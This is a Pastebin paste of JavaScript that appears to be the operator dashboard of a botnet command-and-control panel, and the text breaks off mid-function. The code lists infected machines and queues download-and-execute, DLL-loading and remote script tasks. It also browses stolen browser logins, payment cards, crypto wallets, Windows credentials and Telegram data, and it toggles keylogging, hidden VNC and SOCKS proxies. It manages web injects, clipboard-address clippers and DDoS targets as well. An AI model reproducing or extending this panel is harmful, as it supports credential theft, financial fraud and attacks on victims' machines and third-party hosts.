Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- "use strict"
- var country_options_str = '';
- var stealer_json_content = {index:0, jsn:{}, branch:[], filters:[] , name:''};
- $(document).ready(function () {
- $('.alert-box').children().remove();
- for (let key in countries) {
- if(key != 'ZZ') country_options_str += '<option value="'+ key + '">' + countries[key] +'</option>';
- }
- $('.country-select-option').each(function(){ $(this).append(country_options_str);});
- //decide on landing page
- let mn = $('#main-nav');
- if(mn.attr('auth') == 'true'){
- var landing = mn.attr('landing');
- if(landing && $('#btn_' + landing).length) {
- $('#btn_' + landing).addClass('self-run');
- }
- else{//default page
- $('#btn_bots_enum').addClass('self-run');
- }
- }
- $('.self-run').each(function () {
- $(this).click();
- });
- });
- $(document).on('click', '.create-modal', function (event) {
- event.preventDefault();
- event.target.blur();
- var el = $(this)
- var cmd = el.attr('data-f-cmd');
- var frm = $('#ev-' + cmd);
- create_modal_handler(el,frm,cmd);
- });
- function create_modal_handler(el,frm,cmd){
- var holder = $('#modals-holder');
- $.each([
- 'forms-enum','bots-enum','users-add','users-update','tasks-add','forms-get',
- 'forms-blacklist-add','forms-whitelist-add','webinj-add','socks-add','vnc-add',
- 'bots-viewer','stealer-search','stealer-json-viewer',
- 'klog-json-viewer','forms-keyword-add','clippers-add','bots-edit-comments','ddos-add',
- ], function(i, cmd){
- holder.append($('#ev-' + cmd).detach());
- });
- frm.find('.alert-box').children().remove();
- //bots
- if(cmd == 'bots-enum'){
- create_form_modal(el,'small',true,true,true,'FIND BOTS',frm);
- }
- else if(cmd == 'bots-viewer'){
- let j = JSON.parse(el.closest('tr').attr('data-f-query'));
- frm.find('ul div').each(function(){
- var e = $(this);
- e.text( j[e.attr('data-f-id')] );
- });
- create_form_modal(el,'small',true,true,true,'Bot Info', frm);
- }
- else if(cmd == 'bots-edit-comments'){
- frm.find('textarea').first().val(el.attr('data-f-comments'));
- frm.find('input[name="bindex"]').first().val(el.attr('data-f-bindex'));
- create_form_modal(el,'small',true,true,true,'Edit comment: ' + el.attr('data-f-bindex'), frm);
- }
- //accounts
- else if(cmd == 'users-add'){
- create_form_modal(el,'small',true,true,true,'ADD USER',frm);
- }
- else if(cmd == 'users-update'){
- create_form_modal(el,'small',true,true,true,'UPDATE ACCOUNT',frm);
- }
- //tasks
- else if(cmd == 'tasks-add'){
- frm.find('select.task_name_changer').first().prop('selectedIndex',0).trigger( "change" );
- create_form_modal(el,'small',true,true,true,'ADD TASK',frm);
- }
- //forms
- else if(cmd == 'forms-enum'){
- create_form_modal(el,'small',true,true,true,'FIND FORMS',frm);
- }
- else if(cmd == 'forms-get'){
- create_form_modal(el,'medium',true,true,true,'Form: ' + el.attr('data-f-findex'), frm);
- }
- else if(cmd == 'forms-blacklist-add'){
- create_form_modal(el,'medium',true,true,true,'Add Blacklist', frm);
- }
- else if(cmd == 'forms-whitelist-add'){
- create_form_modal(el,'medium',true,true,true,'Add Whitelist', frm);
- }
- else if(cmd == 'forms-keyword-add'){
- create_form_modal(el,'medium',true,true,true,'Add Keyword', frm);
- }
- //webinj
- else if(cmd == 'webinj-add'){
- frm.find('select.webinj_type_changer').first().prop('selectedIndex',0).trigger( "change" );
- create_form_modal(el,'medium',true,true,true,'Add Web Inject', frm);
- }
- //socks
- else if(cmd == 'socks-instructions'){
- create_form_modal(el,'small',true,true,true,'Instructions', frm);
- }
- else if(cmd == 'socks-add'){
- frm.find('input[name="bindex"]').val(el.attr('data-f-bindex'));
- frm.find('input[type="submit"]').attr('data-f-bindex', el.attr('data-f-bindex'));
- create_form_modal(el,'small',true,true,true,'Enable Socks', frm);
- }
- //vnc
- else if(cmd == 'vnc-add'){
- frm.find('input[name="bindex"]').val(el.attr('data-f-bindex'));
- frm.find('input[type="submit"]').attr('data-f-bindex', el.attr('data-f-bindex'));
- create_form_modal(el,'small',true,true,true,'Enable Hidden VNC', frm);
- }
- //stealer
- else if(cmd == 'stealer-search'){
- frm.find('select.stealer_search_cls').first().prop('selectedIndex',0).trigger("change");
- create_form_modal(el,'small',true,true,true,'FIND STEALER COLLECTION',frm);
- }
- else if(cmd == 'stealer-json-viewer'){
- frm.find('select.stealer_json_cls').first().prop('selectedIndex',0).trigger("change");
- create_form_modal(el,'full',true,true,true,'stealer: ' + el.attr('data-f-cindex'), frm);
- }
- //KLOGS
- else if(cmd == 'klog-json-viewer'){
- create_form_modal(el,'full',true,true,true,'Key logs for Bot: ' + el.attr('data-f-bindex'), frm);
- }
- //CLIPPERS
- else if(cmd == 'clippers-add'){
- create_form_modal(el,'small',true,true,true,'Add address', frm);
- }
- //DDOS
- else if(cmd == 'ddos-add'){
- create_form_modal(el,'small',true,true,true,'Set DDOS Target', frm);
- }
- }
- function filter_stealer_content(el) {
- try {
- let inc = false;
- let founds = 0;
- let r = stealer_json_content;
- var collected = {};
- var loader = $(el.attr('data-f-loader'));
- collected = [];
- if(el.attr('data-f-isnew-search') == 'true'){
- var frm = el.closest('form');
- r.index = 0;
- r.name = frm.find('.stealer_json_cls').first().val();
- r.branch = { '':[],
- 'chats':r.jsn.chats,
- 'ftp':r.jsn.ftp,
- 'firefox.logins':r.jsn.firefox.logins,
- 'firefox.autofill':r.jsn.firefox.autofill,
- 'firefox.cards':r.jsn.firefox.cards,
- 'chromium.logins':r.jsn.chromium.logins,
- 'chromium.autofill':r.jsn.chromium.autofill,
- 'chromium.cards':r.jsn.chromium.cards,
- 'crypto_wallets':r.jsn.crypto_wallets,
- 'wincred':r.jsn.wincred,
- 'telegram':r.jsn.telegram,
- }[r.name];
- r.filters = [];
- frm.find('input:not([type="submit"])').each(function(){
- let s = $(this);
- if(s.val().length){
- r.filters.push({name:s.attr('name') , val:s.val() } );
- }
- });
- }
- while(r.index < r.branch.length){
- inc = true;
- if(r.filters.length){
- $.each(r.filters, function (u, f){
- if(inc) inc = r.branch[r.index][f.name].indexOf(f.val) != -1;
- });
- }
- if(inc){
- collected.push(r.branch[r.index]);
- }
- r.index++; //future update: may want to limit to 100
- }
- $('#stealer-content-renderer').jsonBrowse(collected,{
- collapsed: true
- });
- } catch (er) {console.log(er);}
- }
- $(document).on('change', '.task_name_changer', function (event) {
- event.preventDefault();
- var el = $(this);
- var frm = $(el).closest('form');
- var sel = el.val();
- frm.find('.volatile').remove();
- var dic = {
- 'Update':[{label:"URL:",code:'<input class="uk-input" type="url" name="param1" max="127" placeholder="example: http://web.com/file.exe" required>'}],
- 'Uninstall':[],
- 'DownExec':[{label:"URL:",code:'<input class="uk-input" type="url" name="param1" max="127" placeholder="example: http://web.com/file.exe" required>'},{label:"Filename:",code:'<input class="uk-input" type="text" name="param2" max="63" placeholder="example: file.exe" required>'},{label:"CommandLine:",code:'<input class="uk-input" type="text" name="param3" max="63">'}],
- 'LoadDLL':[{label:"URL:",code:'<input class="uk-input" type="url" name="param1" max="127" placeholder="example: http://web.com/new.php" required>'}],
- 'Stealer':[],
- 'SysShutdown':[],
- 'SysRestart':[],
- 'FileStealer':[{label:"Filename 1:",code:'<input class="uk-input" type="text" name="param1" max="63" placeholder="example: file.exe" required>'},{label:"Filename 2:",code:'<input class="uk-input" type="text" name="param2" max="63" placeholder="example: file.exe">'},{label:"Filename 3:",code:'<input class="uk-input" type="text" name="param3" max="63" placeholder="example: file.exe">'}],
- 'Script':[{label:"URL:",code:'<input class="uk-input" type="url" name="param1" max="127" placeholder="example: http://web.com/new.py" required>'},{label:"Type:",code:'<select class="uk-select" name="param2" required><option value="" selected>Choose</option><option value="Batch">Batch</option><option value="Python">Python</option><option value="Powershell">Powershell</option></select>'}],
- 'BotShutdown':[],
- 'BotRestart':[],
- }[sel];
- if((typeof dic == 'undefined') && sel.length ){
- notice('task_name:['+sel+'] is not implemented', false, el.closest('.data-modal').find('.alert-box'));
- }
- var pos = frm.find('.volatile-inputs-end').first();
- $.each(dic, function (i, j){
- $('<div class="uk-margin volatile">'+
- '<label class="uk-form-label">'+ j.label +'</label>'+
- '<div class="uk-form-controls">'+
- j.code +
- '</div>'+
- '</div>').insertBefore(pos);
- });
- });
- $(document).on('change', '.webinj_type_changer', function (event) {
- event.preventDefault();
- var el = $(this);
- var frm = $(el).closest('form');
- var sel = el.find(':selected').first().val();
- frm.find('.volatile').remove();
- var dic = {
- 'block':[],
- 'redirect':[{label:"Destination URL:",code:'<input class="uk-input" type="url" max="256" name="dst_url" placeholder="example: http://web.com/new.php" required>'}],
- 'script':[{label:"Javascript:",code:'<textarea class="uk-textarea" type="textarea" rows="4" name="js" required></textarea>'},{label:"CSS:",code:'<textarea class="uk-textarea" type="textarea" rows="4" name="css"></textarea>'}],
- 'add_hdr':[{label:"Header name:",code:'<input class="uk-input" type="text" max="256" name="hdr_name" required>'},{label:"Header value:",code:'<input class="uk-input" type="text" max="256" name="hdr_value" required>'}],
- 'remove_hdr':[{label:"Header name:",code:'<input class="uk-input" type="text" max="256" name="hdr_name" required>'}],
- 'change_hdr':[{label:"Header name:",code:'<input class="uk-input" type="text" max="256" name="hdr_name" required>'},{label:"Header value:",code:'<input class="uk-input" type="text" max="256" name="hdr_value" required>'}],
- 'import_zeus':[{label:"Import Zeus Injects:",code:'<input class="uk-input" type="file" name="import_data" required>'}],
- }[sel];
- var add_url = {
- 'block':true,
- 'redirect':true,
- 'script':true,
- 'add_hdr':true,
- 'remove_hdr':true,
- 'change_hdr':true,
- 'import_zeus':false
- }[sel];
- if((typeof dic == 'undefined') && sel.length) notice('browser command:['+sel+'] is not implemented', false, el.closest('.data-modal').find('.alert-box'));
- var pos = frm.find('.volatile-inputs-end').first();
- $.each(dic, function (i, j){
- $('<div class="uk-margin volatile">'+
- '<label class="uk-form-label">'+ j.label +'</label>'+
- '<div class="uk-form-controls">'+
- j.code +
- '</div>'+
- '</div>').insertBefore(pos);
- });
- var s = frm.find('input[name="target_url"]').first();
- if(s){
- if(add_url == true){
- s.closest('.uk-margin').removeAttr('hidden');
- s.prop('required',true);
- }else{
- s.closest('.uk-margin').attr('hidden',true);
- s.removeProp('required');
- s.val('');
- }
- }
- });
- function stealer_cls_selector(el,dic_list){
- var frm = $(el).closest('form');
- var sel = el.find(':selected').first().val();
- frm.find('.volatile').remove();
- var dic = dic_list[sel];
- if((typeof dic == 'undefined') && sel.length) notice('stealer class group:['+sel+'] is not implemented', false, el.closest('.data-modal').find('.alert-box'));
- var pos = frm.find('.volatile-inputs-end').first();
- $.each(dic, function (i, j){
- $('<div class="uk-margin volatile">'+
- '<label class="uk-form-label">'+ j.label +'</label>'+
- '<div class="uk-form-controls">'+
- j.code +
- '</div>'+
- '</div>').insertBefore(pos);
- });
- }
- $(document).on('change', '.stealer_json_cls', function (event) {
- event.preventDefault();
- var dic = {
- '':[],
- 'telegram':[],
- 'ftp':[{label:"Host:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="host">'},{label:"Username:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="user">'}],
- 'crypto_wallets':[],
- 'wincred':[{label:"Username:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="user">'},{label:"Target:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="target">'}],
- 'chats':[{label:"Username:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="user">'}],
- 'chromium.cards':[{label:"Name:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="name">'}],
- 'chromium.logins':[{label:"Host:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="host">'},{label:"Username:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="user">'}],
- 'chromium.autofill':[{label:"Username:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="user">'}],
- 'firefox.logins':[{label:"Host:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="host">'},{label:"Username:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="user">'}],
- 'firefox.cards':[{label:"Name:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="name">'}],
- 'firefox.autofill':[{label:"Username:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="user">'}],
- };
- stealer_cls_selector($(this),dic);
- });
- $(document).on('change', '.stealer_search_cls', function (event) {
- event.preventDefault();
- var dic = {
- '':[],
- 'telegram':[],
- 'ftp':[{label:"Host:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="host">'},{label:"Username:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="username">'}],
- 'crypto_wallets':[],
- 'wincred':[{label:"Username:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="username">'},{label:"Target:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="target">'}],
- 'im':[{label:"Username:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="username">'}],
- 'cards':[{label:"Name:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="username">'}],
- 'cookies':[{label:"Host:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="host">'},{label:"Name:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="username">'}],
- 'logins':[{label:"Host:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="host">'},{label:"Username:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="username">'}],
- 'autofill':[{label:"Username:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="username">'}]
- };
- stealer_cls_selector($(this),dic);
- });
- $(document).on('click', '.ebtn', function (event) {
- var el = $(this);
- var s = el.attr('data-f-confirm');
- if(typeof s != "undefined"){
- UIkit.modal.confirm(s).then(function() {
- ebtn_processor(el,event);
- }, function () {
- //rejected
- });
- }else{
- ebtn_processor(el,event);
- }
- });
- $(document).on('submit', '.ebtn_form', function (event) {
- ebtn_processor($(this).find('input[type="submit"]').first(),event);
- return false;
- });
- $(document).on('click', '.red_icon_on_click', function (event) {
- var el = $(this);
- el.addClass('red-icon');
- });
- $(document).on('click', '.to_clipboard', function (event) {
- var el = $(this);
- var text = $(el.attr('data-f-clip-src')).val();
- var delimiter = el.attr('data-f-clip-delimit');
- if(delimiter.length) text = text.split(delimiter)[0];
- copy_text_to_clipboard(text);
- });
- function ebtn_processor(el,event=null){
- if(event) event.preventDefault();
- UIkit.notification.closeAll();
- var query = '';
- var cmd = '';
- var loader = '';
- var s;
- var loader_str = '<div class="f-loader uk-overlay-default uk-position-cover"><div class="uk-position-center"><span uk-spinner="ratio: 3"></span></div></div>';
- $('.alert-box').children().remove();
- $('#query_secs').prop('hidden', true);
- if(el.hasClass('pager-item')){
- var cn = el.closest('ul.uk-pagination');
- cmd = cn.attr('data-f-cmd');
- loader = cn.attr('data-f-loader');
- query = cn.attr('data-f-query');
- if((typeof query != "undefined") && query.length) query += '&';
- query += 'page=' + el.attr('data-f-page');
- }else{
- query = el.attr('data-f-query');
- cmd = el.attr('data-f-cmd');
- loader = el.attr('data-f-loader');
- if(!loader && el.hasClass('tr_ldr')) loader = el.closest('.tr_ldr_container');
- if(cmd == 'stealer_del_all') {
- var s = $('#stealer-cls').attr('data-f-stealer-cls');
- if(s.length){
- if(query.length) query += '&';
- query += 'cls_name='+s;
- }
- }
- }
- if((typeof query != "undefined") && (typeof cmd != "undefined") && cmd.length){
- if(query.length) query += '&';
- query += 'script=1&cmd=' + cmd;
- var s = el.attr('data-f-form');
- if(typeof s != "undefined"){
- s = el.closest('form').serialize();
- if(s.length) query += '&' + s;
- }
- var _before = function(){
- if(typeof loader != "undefined") $(loader).append(loader_str);
- }
- var _complete = function(){
- if(typeof loader != "undefined") $(loader).find('.f-loader').remove();
- }
- var wait_secs = el.attr('req-wait-secs') == "undefined" ? null : el.attr('req-wait-secs');
- net_query('POST', el,cmd, 'index.php', query, _before, query_success, query_failure, _complete, wait_secs);
- }
- if(typeof loader != "undefined"){
- if((typeof query == "undefined") || (typeof cmd == "undefined") || (cmd.length == 0)){
- //there is a loader but, this is not a query event or query wasn't run
- $(loader).append(loader_str);
- }
- }
- s = el.attr('data-f-title-target');
- if(typeof s != "undefined"){
- $(s).text(el.attr('data-f-title'));
- }
- s = el.attr('data-f-view');
- if(typeof s != "undefined"){
- var s = $(s);
- s.removeAttr('hidden');
- s.siblings('.exclusive-show').prop('hidden',true);
- }
- s = el.attr('data-f-click');
- if(typeof s != "undefined"){
- $(s).click();
- }
- if(el[0].hasAttribute('cboard_copy')){
- copy_text_to_clipboard(el.attr('cboard_copy'));
- UIkit.notification.closeAll();
- UIkit.notification({message: 'Copied to clipboard'})
- }
- if(cmd == 'stealer_content_filter'){
- filter_stealer_content(el);
- }
- if(typeof loader != "undefined"){
- if((typeof query == "undefined") || (typeof cmd == "undefined") || (cmd.length == 0)){
- //there is a loader but, this is not a query event or query wasn't run
- $(loader).find('.f-loader').remove();
- }
- }
- }
- function notice(m,success=true,box=null){
- if(!box || (typeof box == "undefined")) box = "#main-alert-box";
- var e = $( '<div uk-alert class="uk-text-bold '+ (success ? 'uk-alert-success' : 'uk-alert-danger') +'">'+
- '<a class="uk-alert-close uk-margin-left" uk-close></a>'+
- '<p></p>'+
- '</div>');
- e.find('p').text(m);
- $('.alert-box').children().remove();
- UIkit.alert(e);
- $(box).append(e);
- }
- function net_query(action,el, cmd, _url, _data, _before, _success, _error, _complete, wait_secs = 120, parse=true) {
- var auth = null;//important
- var parsed_without_error = false;
- var on_success = function(resp) {
- try {
- if(parse){
- let jsn = JSON.parse(resp);
- auth = jsn['auth'];
- parsed_without_error = true;
- if (jsn['r']) {
- if (_success) _success(cmd, jsn, el);
- } else {
- on_error(200, jsn['msg']);
- }
- }else {
- if (_success) _success(cmd, resp, el);
- }
- } catch (er) {
- console.log(er);
- on_error(200, 'caught exception: ' + er.message);
- console.log('cmd: ' + cmd + '\nresp: ' + resp);
- }
- }
- var on_error = function(status, resp) {
- var m = '';
- if (resp.length) {
- m = resp;
- } else {
- m = 'query failed (network error): ' + status;
- }
- if (_error) _error(cmd, m, el,auth,parsed_without_error);
- }
- $.ajax({
- url: _url,
- type: action,
- cache: false,
- processData: true,
- data: _data,
- crossDomain: true,
- timeout: wait_secs * 1000,
- beforeSend: function (x) {
- if (_before) _before();
- },
- success: function (resp, x, status) {
- on_success(resp);
- },
- error: function (x, status, error) {
- on_error(status, error);
- },
- complete: function (x, status) {
- if (_complete) _complete();
- }
- });
- }
- function create_pagination(ul, page, page_count, query, cmd, tb){
- var min, max;
- min = page - 1;
- if(min <= 0) min = 1;
- max = page + 1;
- if(max > page_count) max = page_count;
- if(!page_count) return;
- ul.attr('data-f-cmd',cmd);
- ul.attr('data-f-query',query);
- if(min > 1){
- ul.append(
- '<li><a class="ebtn pager-item" data-f-target-tb="'+ tb +'" data-f-page="1"><span class="uk-margin-small-right" uk-pagination-previous></span> First</a></li>'+
- '<li class="uk-disabled"><span>--</span></li>'
- );
- }
- for(let n = min; n <= max; n++){
- if(page == n){
- ul.append('<li><span class="ebtn pager-item uk-disabled" data-f-target-tb="'+ tb +'" data-f-page="' + n + '">' + n + '</span></li>');
- }else{
- ul.append('<li><a class="ebtn pager-item" data-f-target-tb="'+ tb +'" data-f-page="' + n + '">' + n + '</a></li>');
- }
- }
- if(max < page_count){
- ul.append(
- '<li class="uk-disabled"><span>--</span></li>'+
- '<li ><a class="ebtn pager-item" data-f-target-tb="'+ tb +'" data-f-page="' + page_count + '">Last <span class="uk-margin-small-left" uk-pagination-next></span></a></li>'
- );
- }
- }
- function query_success(cmd,jsn,el){
- var s, mdl_close_btn;
- mdl_close_btn = null;
- //do this first because el may be destroyed at later processing
- //-------------------------------------------------------------
- if(typeof jsn['msg'] != 'undefined' && jsn['msg'].length) notice(jsn.msg, true, el.attr('data-f-alert-box'));
- s = el.attr('data-f-view-on-success')
- if(typeof s !== "undefined"){
- $(s).removeAttr('hidden');
- $(s).siblings('.exclusive-show').prop('hidden',true);
- }
- if(el.attr('data-f-close-model-on-success') == 'true'){
- mdl_close_btn = el.closest('.data-modal').find('.uk-modal-close-full').first();
- }
- //now process the rest
- //--------------------
- if( (cmd == 'bots_enum') ||
- (cmd == 'tasks_enum') ||
- (cmd == 'forms_enum') ||
- (cmd == 'users_enum') ||
- (cmd == 'ddos_enum') ||
- (cmd == 'webinj_enum') ||
- (cmd == 'stealer_enum') ||
- (cmd == 'scripts_enum') ||
- (cmd == 'files_enum') ||
- (cmd == 'socks_enum') ||
- (cmd == 'vnc_enum') ||
- (cmd == 'clippers_enum') ||
- (cmd == 'forms_blacklist_enum') ||
- (cmd == 'forms_whitelist_enum') ||
- (cmd == 'forms_keyword_enum')
- ){
- var tb_locator = el.attr('data-f-target-tb');
- var tb = $(tb_locator);
- var body = tb.find('tbody').first();
- body.empty();
- var col_names = [];
- var cls_name = '';
- if(cmd == 'stealer_enum'){
- cls_name = jsn.data.extra;
- col_names = {
- '':['cindex','bindex','tindex','csize','addedon'],
- 'cards':['bindex','card_num','username','expiry','app'],
- 'im':['bindex','username','password','protocol','app'],
- 'ftp':['bindex','host','username','password','port','protocol','app'],
- 'logins':['bindex','host','username','password','app'],
- 'wincred':['bindex','target','username','cred','app']
- }[cls_name];
- //store the class
- $('#stealer-cls').attr('data-f-stealer-cls', cls_name);
- //header
- var h = tb.find('thead').first().find('tr').first();
- h.empty();
- $.each(col_names, function (i, x) {
- h.append('<th class="uk-width-small">'+x+'</th>');
- });
- h.append('<th class="uk-table-shrink">COMMANDS</th>');
- //footer
- h = tb.find('tfoot').first().find('td').first();
- h.attr('colspan', col_names.length);
- h.find('ul').first().empty();
- }
- var r ='';
- var nrows = 0;
- $.each(jsn.data.rows, function (i, j) {
- if(cmd == 'bots_enum'){
- r = '<tr>'+
- '<td>' + j.bindex + '</td>'+
- '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ countries[j.countrycode.toUpperCase()] +'" uk-tooltip="'+ j.ip +'" readonly></td>'+
- '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j.sysname +'" readonly></td>'+
- '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j.username +'" readonly></td>'+
- '<td><a class="create-modal" data-f-cmd="bots-viewer" data-f-bindex="'+ j.bindex +'" uk-icon="icon: info"></a> <a class="create-modal '+ (j.comments.length ? 'red-icon':'') +'" data-f-cmd="bots-edit-comments" data-f-comments="'+ j.comments +'" data-f-bindex="'+ j.bindex +'" uk-icon="icon: commenting"></a></td>'+
- '<td>' + j.osver + '-' + j.arch + '</td>'+
- '<td>' + j.lastseen + '</td>'+
- '<td>'+
- '<ul class="uk-iconnav">'+
- '<li>' + (j.socks_bot_port ? '<a class="ebtn red-icon tr_ldr" data-f-cmd="socks_del" data-f-query="bindex='+ j.bindex +'" data-f-bindex="'+ j.bindex +'" data-f-confirm="Disable socks?" uk-icon="icon: location"></a>' : '<a class="create-modal" data-f-cmd="socks-add" data-f-bindex="'+ j.bindex +'" uk-icon="icon: location"></a>') + '</li>'+
- '<li>' + (j.vnc ? '<a class="ebtn red-icon tr_ldr" data-f-cmd="vnc_del" data-f-query="bindex='+ j.bindex +'" data-f-bindex="'+ j.bindex +'" data-f-confirm="Disable vnc?" uk-icon="icon: desktop"></a>' : '<a class="create-modal" data-f-cmd="vnc-add" data-f-bindex="'+ j.bindex +'" uk-icon="icon: desktop"></a>') + '</li>'+
- '<li>' + (j.klog_enabled ? '<a class="ebtn red-icon" data-f-query="bindex='+ j.bindex +'" data-f-cmd="klog_get_json" data-f-bindex="'+ j.bindex +'" data-f-status="1" uk-icon="icon: file-text"></a>' : '<a class="ebtn tr_ldr" data-f-cmd="klog_set_status" data-f-status="1" data-f-query="status=1&bindex='+ j.bindex +'" data-f-bindex="'+ j.bindex +'" data-f-confirm="Enable key logging?" uk-icon="icon: file-text"></a>') + '</li>'+
- '<li><a class="ebtn tr_ldr" data-f-cmd="bots_del" data-f-query="bindex='+ j.bindex +'" data-f-confirm="Are you sure you want to delete?" uk-icon="icon: trash"></a></li>'+
- '</ul>'+
- '</td>'+
- '</tr>';
- }else if(cmd == 'tasks_enum'){
- r = '<tr>'+
- '<td>' + j.tindex + '</td>'+
- '<td>' + j.name + '</td>'+
- '<td>' + j.executions + '</td>'+
- '<td>' + j.total + '</td>'+
- '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j.param1 +'" name="param1" readonly>' + '</td>'+
- '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j.param2 +'" name="param2" readonly>' + '</td>'+
- '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j.param3 +'" name="param3" readonly>' + '</td>'+
- '<td>' + j.addedon + '</td>'+
- '<td><span class="status-label uk-label uk-label-'+ (j.executions == j.total ? 'danger' : 'success') +'">'+ ( j.executions == j.total ? 'Completed' : 'Pending') +'</span></td>'+
- '<td>'+
- '<ul class="uk-iconnav">'+
- '<li><a class="ebtn tr_ldr" data-f-cmd="tasks_del" data-f-query="tindex='+ j.tindex + '" data-f-confirm="Are you sure you want to delete this Task?" uk-icon="icon: trash"></a></li>'+
- '</ul>'+
- '</td>'+
- '</tr>';
- }else if(cmd == 'users_enum'){
- r = '<tr>'+
- '<td>' + j.uindex + '</td>'+
- '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j.username +'" readonly></td>'+
- '<td>' + j.admin + '</td>'+
- '<td>' + j.addedon + '</td>'+
- '<td>' + j.lastseen + '</td>'+
- '<td>' + j.failures + '</td>'+
- '<td><span class="status-label uk-label uk-label-'+ ( j.enabled ? 'success' : 'danger') +'">'+ ( j.enabled ? 'Enabled' : 'Disabled') +'</span></td>'+
- '<td>'+
- '<ul class="uk-iconnav">'+
- '<li><a class="ebtn tr_ldr" data-f-cmd="users_del" data-f-query="uindex='+ j.uindex + '" data-f-confirm="Are you sure you want to delete?" uk-icon="icon: trash"></a></li>'+
- '<li><a class="ebtn tr_ldr" data-f-cmd="users_toggle_state" data-f-query="uindex='+ j.uindex +'" data-f-confirm="Are you sure you want to change account state?" uk-icon="icon: '+ (not_zero_str(j.enabled) ? 'ban' : 'play-circle')+'"></a></li>'+
- '</ul>'+
- '</td>'+
- '</tr>';
- }else if(cmd == 'webinj_enum'){
- r = '<tr>'+
- '<td>' + j.jindex + '</td>'+
- '<td>' + j.jtype + '</td>'+
- '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j.description +'" readonly></td>'+
- '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j.raw_target_url +'" readonly></td>'+
- '<td>' + j.addedon + '</td>'+
- '<td>'+
- '<ul class="uk-iconnav">'+
- '<li><a class="ebtn tr_ldr" data-f-cmd="webinj_del" data-f-query="jindex='+ j.jindex + '" data-f-confirm="Are you sure you want to delete?" uk-icon="icon: trash"></a></li>'+
- '<li><a class="ebtn tr_ldr" data-f-cmd="webinj_get" data-f-query="jindex='+ j.jindex + '" data-f-jindex="'+ j.jindex + '" uk-icon="icon: cloud-download"></a></li>'+
- '</ul>'+
- '</td>'+
- '</tr>';
- }else if(cmd == 'ddos_enum'){
- r = '<tr>'+
- '<td>' + j.dindex + '</td>'+
- '<td>'+ j.host +'</td>'+
- '<td>'+ j.method +'</td>'+
- '<td>'+
- '<ul class="uk-iconnav">'+
- '<li><a class="ebtn tr_ldr" data-f-cmd="ddos_del" data-f-query="dindex='+ j.dindex + '" data-f-confirm="Are you sure you want to delete?" uk-icon="icon: trash"></a></li>'+
- '</ul>'+
- '</td>'+
- '</tr>';
- }else if(cmd == 'stealer_enum'){
- var s = '';
- $.each(col_names, function (i, x) {
- s += '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j[x] +'" readonly></td>';
- });
- if(cls_name == ''){
- s += '<td>'+
- '<ul class="uk-iconnav">'+
- '<li><a class="ebtn tr_ldr" data-f-cmd="stealer_del" data-f-query="cindex='+ j.cindex + '" data-f-confirm="Are you sure you want to delete?" uk-icon="icon: trash"></a></li>'+
- '<li><a class="ebtn tr_ldr" data-f-cmd="stealer_get_archive" data-f-query="cindex='+ j.cindex + '" data-f-cindex="'+ j.cindex + '" uk-icon="icon: cloud-download"></a></li>'+
- '<li><a class="ebtn tr_ldr" data-f-cmd="stealer_get_json" data-f-query="cindex='+ j.cindex + '" data-f-cindex="'+ j.cindex + '" uk-icon="icon: code"></a></li>'+
- '</ul>'+
- '</td>';
- }else{
- s += '<td>'+
- '<ul class="uk-iconnav">'+
- '<li><a class="ebtn tr_ldr" data-f-cmd="stealer_del" data-f-query="vindex='+ j.vindex + '&cls_name='+ cls_name +'" data-f-confirm="Are you sure you want to delete?" uk-icon="icon: trash"></a></li>'+
- '<li><a class="ebtn tr_ldr" data-f-cmd="stealer_get_archive" data-f-query="cindex='+ j.cindex + '" data-f-cindex="'+ j.cindex + '" uk-icon="icon: cloud-download"></a></li>'+
- '</ul>'+
- '</td>';
- }
- r = '<tr>'+ s + '</tr>';
- }else if(cmd == 'scripts_enum'){
- r = '<tr>'+
- '<td>' + j.xindex + '</td>'+
- '<td>' + j.bindex + '</td>'+
- '<td>' + j.tindex + '</td>'+
- '<td>' + j.addedon + '</td>'+
- '<td>'+
- '<ul class="uk-iconnav">'+
- '<li><a class="ebtn tr_ldr" data-f-cmd="scripts_del" data-f-query="xindex='+ j.xindex + '" data-f-confirm="Are you sure you want to delete?" uk-icon="icon: trash"></a></li>'+
- '<li><a class="ebtn tr_ldr" data-f-cmd="scripts_get" data-f-query="xindex='+ j.xindex + '" data-f-xindex="'+ j.xindex + '" uk-icon="icon: cloud-download"></a></li>'+
- '</ul>'+
- '</td>'+
- '</tr>';
- }else if(cmd == 'files_enum'){
- r = '<tr>'+
- '<td>' + j.cindex + '</td>'+
- '<td>' + j.bindex + '</td>'+
- '<td>' + j.tindex + '</td>'+
- '<td>' + j.size + '</td>'+
- '<td>' + j.addedon + '</td>'+
- '<td>'+
- '<ul class="uk-iconnav">'+
